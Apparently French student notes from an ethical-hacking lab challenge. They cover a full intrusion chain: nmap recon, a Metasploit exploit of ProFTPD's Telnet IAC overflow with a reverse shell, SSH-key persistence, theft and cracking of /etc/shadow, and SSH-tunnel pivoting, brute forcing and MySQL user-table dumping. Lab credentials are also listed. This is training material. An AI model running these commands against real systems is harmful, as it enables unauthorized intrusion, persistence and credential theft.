TP Challenge Ethique
===
## Infos
Kali: root/2fois6=12
## 5. Étape 1 : Serveur FTP
### 5.1 En route !
Commandes d'initialisation
```
ip a
route
ip route add default via 10.3.100.254 dev eth0
```
### 5.2 Un peu de recon
```
nmap -Pn -sV 192.168.1.21
```
-Pn : passe pas par ICMP
-sV : version des services
Résultats :
21/tcp open ftp ProFTPD 1.3.3a
22/tcp open ssh OpenSSH 5.5p1 Debian 6 (prot 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
### 5.3 Recherche vuln
CVE-2010-4221
Multiple stack-based buffer overflows in the pr_netio_telnet_gets function in netio.c in ProFTPD before 1.3.3c allow remote attackers to execute arbitrary code via vectors involving a TELNET IAC escape character to a (1) FTP or (2) FTPS server.
### 5.4 Exploit
2011-01-09 / ProFTPd 1.3.2 rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow (Metasploit) Remote Linux par Metasploit
By sending data containing a large number of Telnet IAC commands, an attacker can corrupt memory and execute arbitrary code.
# 6 Exploitation – Initial access
bind TCP marche pas à cause du firewall
```
metasploit
use exploit/linux/ftp/proftp_telnet_iac
set RHOST 192.168.1.21
set LHOST eth0
set payload /truc/machin/mypayload
exploit
```
Ici celui qui marche: reverse_tcp
# 7 Camp de base - persistance
Avantages :
-
ssh-keygen -t rsa
cp id_rsa.pub authorized_keys
Dans meterpreter:
cd /root/.ssh
upload ~/.ssh/authorized_keys
Puis connexion ssh pour check:
ssh root@192.168.1.21
# 8
Pour copier les données de machine FTP à machine Kali
scp root@192.168.1.21:/etc/passwd .
scp root@192.168.1.21:/etc/shadow .
unshadow ./passwd ./shadow > ./mdp
john --user=XXXX --wordlist=./dicoXXXX ./mdp
SPOIL: theo2602 / Ferdinand / SkyWalKer
nmap -v -PS25,80,445,139,3306 -n 192.168.2-20.1-20
ssh -N -f -L 1234:192.168.1.1:22 192.168.1.21
medusa -h 127.0.0.1 -n 1234 -C file -M ssh
A la place de proxychain, on peut faire un proxyjump.
On trouve la machine 192.168.2.1 avec le port 3306 ouvert.
proxychains mysql -h 192.168.2.1 -u root
show databases
show tables from tikiwiki
use tikiwiki
select * from users_users